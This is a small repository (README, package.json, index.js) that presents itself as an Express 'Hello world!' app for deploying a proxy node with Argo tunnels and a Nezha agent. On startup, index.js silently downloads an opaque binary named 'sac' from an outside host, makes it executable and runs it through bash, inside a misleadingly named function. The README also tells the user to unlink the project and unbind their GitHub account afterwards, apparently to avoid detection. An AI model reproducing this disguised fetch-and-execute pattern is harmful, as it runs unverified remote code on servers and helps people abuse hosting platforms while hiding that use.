├── README.md ├── package.json └── index.js /README.md: -------------------------------------------------------------------------------- 1 | # Argo-for-Sac 2 | 3 | * 新建私库部署,sac控制台菜单Environment里添加环境变量,可以全部不填,有默认 4 | * 可选变量名: NEZHA_SERVER NEZHA_PORT(默认5555) NEZHA_KEY ARGO_DOMAIN ARGO_AUTH NAME CFIP CFPORT ARGO_PORT(默认8080) 5 | 6 | * 查看或订阅节点: 域名/log 7 | 8 | 9 | * 最后unlink项目,再右上角用户设置里解绑github账户 10 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nodejs", 3 | "version": "1.0.0", 4 | "description": "node.js", 5 | "main": "index.js", 6 | "author": "eoovve", 7 | "license": "MIT", 8 | "private": false, 9 | "scripts": { 10 | "start": "node index.js" 11 | }, 12 | "dependencies": { 13 | "axios": "^1.6.0", 14 | "express": "^4.18.2" 15 | }, 16 | "engines": { 17 | "node": ">=14" 18 | } 19 | } -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const express = require("express"); 2 | const app = express(); 3 | const fs = require('fs'); 4 | const path = require('path'); 5 | const axios = require('axios'); 6 | const { exec } = require('child_process'); 7 | const PORT = process.env.SERVER_PORT || process.env.PORT || 3000; 8 | const FILE_PATH = './.npm'; 9 | 10 | app.get("/", function(req, res) { 11 | res.send("Hello world!"); 12 | }); 13 | 14 | app.get("/log", (req, res) => { 15 | const logPath = path.join(FILE_PATH, 'log.txt'); 16 | fs.readFile(logPath, "utf8", (err, data) => { 17 | if (err) { 18 | console.error(err); 19 | res.status(500).send("Error reading log.txt"); 20 | } else { 21 | res.setHeader('Content-Type', 'text/plain; charset=utf-8'); 22 | res.send(data); 23 | } 24 | }); 25 | }); 26 | 27 | const downloadDiscord = async () => { 28 | try { 29 | // console.log('Start downloading sac...'); 30 | const response = await axios({ 31 | method: 'get', 32 | url: 'https://amd64.2go.us.kg/sac', 33 | responseType: 'stream' 34 | }); 35 | 36 | const writer = fs.createWriteStream('sac'); 37 | response.data.pipe(writer); 38 | 39 | return new Promise((resolve, reject) => { 40 | writer.on('finish', () => { 41 | console.log('Download completed'); 42 | exec('chmod +x sac', (err) => { 43 | if (err) reject(err); 44 | resolve(); 45 | }); 46 | }); 47 | writer.on('error', reject); 48 | }); 49 | } catch (err) { 50 | throw err; 51 | } 52 | }; 53 | 54 | const Execute = async () => { 55 | try { 56 | await downloadDiscord(); 57 | const command = './sac'; 58 | exec(command, { 59 | shell: '/bin/bash' 60 | }); 61 | } catch (err) {} 62 | }; 63 | 64 | Execute(); 65 | 66 | app.listen(PORT, () => { 67 | console.log(`Server is running on port:${PORT}`); 68 | }); 69 | --------------------------------------------------------------------------------